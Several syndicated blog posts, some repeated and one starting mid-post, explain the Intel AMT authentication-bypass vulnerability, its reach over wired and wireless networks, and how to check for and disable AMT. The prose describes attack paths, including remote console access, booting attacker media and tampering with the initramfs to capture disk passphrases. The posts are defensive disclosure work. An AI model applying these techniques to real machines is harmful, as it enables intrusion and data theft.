I’ve since done some more playing and come to the conclusion that it’s rather worse than that. AMT actually supports being accessed over wireless networks. Enabling this is a separate option – if you simply provision AMT it won’t be accessible over wireless by default, you need to perform additional configuration (although this is as simple as logging into the web UI and turning on the option). Once enabled, there are two cases:

  1. The system is not running an operating system, or the operating system has not taken control of the wireless hardware. In this case AMT will attempt to join any network that it’s been explicitly told about. Note that in default configuration, joining a wireless network from the OS is not sufficient for AMT to know about it – there needs to be explicit synchronisation of the network credentials to AMT. Intel provide a wireless manager that does this, but the stock behaviour in Windows (even after you’ve installed the AMT support drivers) is not to do this.
  2. The system is running an operating system that has taken control of the wireless hardware. In this state, AMT is no longer able to drive the wireless hardware directly and counts on OS support to pass packets on. Under Linux, Intel’s wireless drivers do not appear to implement this feature. Under Windows, they do. This does not require any application level support, and uninstalling LMS will not disable this functionality. This also appears to happen at the driver level, which means it bypasses the Windows firewall.

Case 2 is the scary one. If you have a laptop that supports AMT, and if AMT has been provisioned, and if AMT has had wireless support turned on, and if you’re running Windows, then connecting your laptop to a public wireless network means that AMT is accessible to anyone else on that network[1]. If it hasn’t received a firmware update, they’ll be able to do so without needing any valid credentials.

If you’re a corporate IT department, and if you have AMT enabled over wifi, turn it off. Now.

[1] Assuming that the network doesn’t block client to client traffic, of course

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Intel AMT on wireless networks

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/48837.html

More details about Intel’s AMT vulnerablity have been released – it’s about the worst case scenario, in that it’s a total authentication bypass that appears to exist independent of whether the AMT is being used in Small Business or Enterprise modes (more background in my previous post here). One thing I claimed was that even though this was pretty bad it probably wasn’t super bad, since Shodan indicated that there were only a small number of thousand machines on the public internet and accessible via AMT. Most deployments were probably behind corporate firewalls, which meant that it was plausibly a vector for spreading within a company but probably wasn’t a likely initial vector.

I’ve since done some more playing and come to the conclusion that it’s rather worse than that. AMT actually supports being accessed over wireless networks. Enabling this is a separate option – if you simply provision AMT it won’t be accessible over wireless by default, you need to perform additional configuration (although this is as simple as logging into the web UI and turning on the option). Once enabled, there are two cases:

  1. The system is not running an operating system, or the operating system has not taken control of the wireless hardware. In this case AMT will attempt to join any network that it’s been explicitly told about. Note that in default configuration, joining a wireless network from the OS is not sufficient for AMT to know about it – there needs to be explicit synchronisation of the network credentials to AMT. Intel provide a wireless manager that does this, but the stock behaviour in Windows (even after you’ve installed the AMT support drivers) is not to do this.
  2. The system is running an operating system that has taken control of the wireless hardware. In this state, AMT is no longer able to drive the wireless hardware directly and counts on OS support to pass packets on. Under Linux, Intel’s wireless drivers do not appear to implement this feature. Under Windows, they do. This does not require any application level support, and uninstalling LMS will not disable this functionality. This also appears to happen at the driver level, which means it bypasses the Windows firewall.

Case 2 is the scary one. If you have a laptop that supports AMT, and if AMT has been provisioned, and if AMT has had wireless support turned on, and if you’re running Windows, then connecting your laptop to a public wireless network means that AMT is accessible to anyone else on that network[1]. If it hasn’t received a firmware update, they’ll be able to do so without needing any valid credentials.

If you’re a corporate IT department, and if you have AMT enabled over wifi, turn it off. Now.

[1] Assuming that the network doesn’t block client to client traffic, of course

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Intel’s remote AMT vulnerablity

Post Syndicated from Matthew Garrett original http://mjg59.dreamwidth.org/48429.html

Intel just announced a vulnerability in their Active Management Technology stack. Here’s what we know so far.

Background

Intel chipsets for some years have included a Management Engine, a small microprocessor that runs independently of the main CPU and operating system. Various pieces of software run on the ME, ranging from code to handle media DRM to an implementation of a TPM. AMT is another piece of software running on the ME, albeit one that takes advantage of a wide range of ME features.

Active Management Technology

AMT is intended to provide IT departments with a means to manage client systems. When AMT is enabled, any packets sent to the machine’s wired network port on port 16992 will be redirected to the ME and passed on to AMT – the OS never sees these packets. AMT provides a web UI that allows you to do things like reboot a machine, provide remote install media or even (if the OS is configured appropriately) get a remote console. Access to AMT requires a password – the implication of this vulnerability is that that password can be bypassed.

Remote management

AMT has two types of remote console: emulated serial and full graphical. The emulated serial console requires only that the operating system run a console on that serial port, while the graphical environment requires drivers on the OS side. However, an attacker who enables emulated serial support may be able to use that to configure grub to enable serial console. Remote graphical console seems to be problematic under Linux but some people claim to have it working, so an attacker would be able to interact with your graphical console as if you were physically present. Yes, this is terrifying.

Remote media

AMT supports providing an ISO remotely. In older versions of AMT (before 11.0) this was in the form of an emulated IDE controller. In 11.0 and later, this takes the form of an emulated USB device. The nice thing about the latter is that any image provided that way will probably be automounted if there’s a logged in user, which probably means it’s possible to use a malformed filesystem to get arbitrary code execution in the kernel. Fun!

The other part of the remote media is that systems will happily boot off it. An attacker can reboot a system into their own OS and examine drive contents at their leisure. This doesn’t let them bypass disk encryption in a straightforward way[1], so you should probably enable that.

How bad is this

That depends. Unless you’ve explicitly enabled AMT at any point, you’re probably fine. The drivers that allow local users to provision the system would require administrative rights to install, so as long as you don’t have them installed then the only local users who can do anything are the ones who are admins anyway. If you do have it enabled, though…

How do I know if I have it enabled?

Yeah this is way more annoying than it should be. First of all, does your system even support AMT? AMT requires a few things:

1) A supported CPU
2) A supported chipset
3) Supported network hardware
4) The ME firmware to contain the AMT firmware

Merely having a “vPRO” CPU and chipset isn’t sufficient – your system vendor also needs to have licensed the AMT code. Under Linux, if lspci doesn’t show a communication controller with “MEI” in the description, AMT isn’t running and you’re safe. If it does show an MEI controller, that still doesn’t mean you’re vulnerable – AMT may still not be provisioned. If you reboot you should see a brief firmware splash mentioning the ME. Hitting ctrl+p at this point should get you into a menu which should let you disable AMT.

What do we not know?

We have zero information about the vulnerability, other than that it allows unauthenticated access to AMT. One big thing that’s not clear at the moment is whether this affects all AMT setups, setups that are in Small Business Mode, or setups that are in Enterprise Mode. If the latter, the impact on individual end-users will be basically zero – Enterprise Mode involves a bunch of effort to configure and nobody’s doing that for their home systems. If it affects all systems, or just systems in Small Business Mode, things are likely to be worse.

What should I do?

Make sure AMT is disabled. If it’s your own computer, you should then have nothing else to worry about. If you’re a Windows admin with untrusted users, you should also disable or uninstall LSM by following these instructions.

Does this mean every Intel system built since 2008 can be taken over by hackers?

No. Most Intel systems don’t ship with AMT. Most Intel systems with AMT don’t have it turned on.

Does this allow persistent compromise of the system?

Not in any novel way. An attacker could disable Secure Boot and install a backdoored bootloader, just as they could with physical access.

But isn’t the ME a giant backdoor with arbitrary access to RAM?

Yes, but there’s no indication that this vulnerability allows execution of arbitrary code on the ME – it looks like it’s just (ha ha) an authentication bypass for AMT.

Is this a big deal anyway?

Yes. Fixing this requires a system firmware update in order to provide new ME firmware (including an updated copy of the AMT code). Many of the affected machines are no longer receiving firmware updates from their manufacturers, and so will probably never get a fix. Anyone who ever enables AMT on one of these devices will be vulnerable. That’s ignoring the fact that firmware updates are rarely flagged as security critical (they don’t generally come via Windows update), so even when updates are made available, users probably won’t know about them or install them.

Avoiding this kind of thing in future

Users ought to have full control over what’s running on their systems, including the ME. If a vendor is no longer providing updates then it should at least be possible for a sufficiently desperate user to pay someone else to do a firmware build with the appropriate fixes. Leaving firmware updates at the whims of hardware manufacturers who will only support systems for a fraction of their useful lifespan is inevitably going to end badly.

How certain are you about any of this?

Not hugely – the quality of public documentation on AMT isn’t wonderful, and while I’ve spent some time playing with it (and related technologies) I’m not an expert. If anything above seems inaccurate, let me know and I’ll fix it.

[1] Eh well. They could reboot into their own OS, modify your initramfs (because that’s not signed even if you’re using UEFI Secure Boot) such that it writes a copy of your disk passphrase to /boot before unlocking it, wait for you to type in your passphrase, reboot again and gain access. Sealing the encryption key to the TPM would avoid this.

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Intel’s remote AMT vulnerablity

Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/48429.html

Intel just announced a vulnerability in their Active Management Technology stack. Here’s what we know so far.

Background

Intel chipsets for some years have included a Management Engine, a small microprocessor that runs independently of the main CPU and operating system. Various pieces of software run on the ME, ranging from code to handle media DRM to an implementation of a TPM. AMT is another piece of software running on the ME, albeit one that takes advantage of a wide range of ME features.

Active Management Technology

AMT is intended to provide IT departments with a means to manage client systems. When AMT is enabled, any packets sent to the machine’s wired network port on port 16992 or 16993 will be redirected to the ME and passed on to AMT – the OS never sees these packets. AMT provides a web UI that allows you to do things like reboot a machine, provide remote install media or even (if the OS is configured appropriately) get a remote console. Access to AMT requires a password – the implication of this vulnerability is that that password can be bypassed.

Remote management

AMT has two types of remote console: emulated serial and full graphical. The emulated serial console requires only that the operating system run a console on that serial port, while the graphical environment requires drivers on the OS side requires that the OS set a compatible video mode but is also otherwise OS-independent[2]. However, an attacker who enables emulated serial support may be able to use that to configure grub to enable serial console. Remote graphical console seems to be problematic under Linux but some people claim to have it working, so an attacker would be able to interact with your graphical console as if you were physically present. Yes, this is terrifying.

Remote media

AMT supports providing an ISO remotely. In older versions of AMT (before 11.0) this was in the form of an emulated IDE controller. In 11.0 and later, this takes the form of an emulated USB device. The nice thing about the latter is that any image provided that way will probably be automounted if there’s a logged in user, which probably means it’s possible to use a malformed filesystem to get arbitrary code execution in the kernel. Fun!

The other part of the remote media is that systems will happily boot off it. An attacker can reboot a system into their own OS and examine drive contents at their leisure. This doesn’t let them bypass disk encryption in a straightforward way[1], so you should probably enable that.

How bad is this

That depends. Unless you’ve explicitly enabled AMT at any point, you’re probably fine. The drivers that allow local users to provision the system would require administrative rights to install, so as long as you don’t have them installed then the only local users who can do anything are the ones who are admins anyway. If you do have it enabled, though…

How do I know if I have it enabled?

Yeah this is way more annoying than it should be. First of all, does your system even support AMT? AMT requires a few things:

1) A supported CPU
2) A supported chipset
3) Supported network hardware
4) The ME firmware to contain the AMT firmware

Merely having a “vPRO” CPU and chipset isn’t sufficient – your system vendor also needs to have licensed the AMT code. Under Linux, if lspci doesn’t show a communication controller with “MEI” or “HECI” in the description, AMT isn’t running and you’re safe. If it does show an MEI controller, that still doesn’t mean you’re vulnerable – AMT may still not be provisioned. If you reboot you should see a brief firmware splash mentioning the ME. Hitting ctrl+p at this point should get you into a menu which should let you disable AMT.

How about over Wifi?

Turning on AMT doesn’t automatically turn it on for wifi. AMT will also only connect itself to networks it’s been explicitly told about. Where things get more confusing is that once the OS is running, responsibility for wifi is switched from the ME to the OS and it forwards packets to AMT. I haven’t been able to find good documentation on whether having AMT enabled for wifi results in the OS forwarding packets to AMT on all wifi networks or only ones that are explicitly configured.

What do we not know?

We have zero information about the vulnerability, other than that it allows unauthenticated access to AMT. One big thing that’s not clear at the moment is whether this affects all AMT setups, setups that are in Small Business Mode, or setups that are in Enterprise Mode. If the latter, the impact on individual end-users will be basically zero – Enterprise Mode involves a bunch of effort to configure and nobody’s doing that for their home systems. If it affects all systems, or just systems in Small Business Mode, things are likely to be worse.
We now know that the vulnerability exists in all configurations.

What should I do?

Make sure AMT is disabled. If it’s your own computer, you should then have nothing else to worry about. If you’re a Windows admin with untrusted users, you should also disable or uninstall LMS by following these instructions.

Does this mean every Intel system built since 2008 can be taken over by hackers?

No. Most Intel systems don’t ship with AMT. Most Intel systems with AMT don’t have it turned on.

Does this allow persistent compromise of the system?

Not in any novel way. An attacker could disable Secure Boot and install a backdoored bootloader, just as they could with physical access.

But isn’t the ME a giant backdoor with arbitrary access to RAM?

Yes, but there’s no indication that this vulnerability allows execution of arbitrary code on the ME – it looks like it’s just (ha ha) an authentication bypass for AMT.

Is this a big deal anyway?

Yes. Fixing this requires a system firmware update in order to provide new ME firmware (including an updated copy of the AMT code). Many of the affected machines are no longer receiving firmware updates from their manufacturers, and so will probably never get a fix. Anyone who ever enables AMT on one of these devices will be vulnerable. That’s ignoring the fact that firmware updates are rarely flagged as security critical (they don’t generally come via Windows update), so even when updates are made available, users probably won’t know about them or install them.

Avoiding this kind of thing in future

Users ought to have full control over what’s running on their systems, including the ME. If a vendor is no longer providing updates then it should at least be possible for a sufficiently desperate user to pay someone else to do a firmware build with the appropriate fixes. Leaving firmware updates at the whims of hardware manufacturers who will only support systems for a fraction of their useful lifespan is inevitably going to end badly.

How certain are you about any of this?

Not hugely – the quality of public documentation on AMT isn’t wonderful, and while I’ve spent some time playing with it (and related technologies) I’m not an expert. If anything above seems inaccurate, let me know and I’ll fix it.

[1] Eh well. They could reboot into their own OS, modify your initramfs (because that’s not signed even if you’re using UEFI Secure Boot) such that it writes a copy of your disk passphrase to /boot before unlocking it, wait for you to type in your passphrase, reboot again and gain access. Sealing the encryption key to the TPM would avoid this.

[2] Updated after this comment – I thought I’d fixed this before publishing but left that claim in by accident.

(Updated to add the section on wifi)

(Updated to typo replace LSM with LMS)

(Updated to indicate that the vulnerability affects all configurations)

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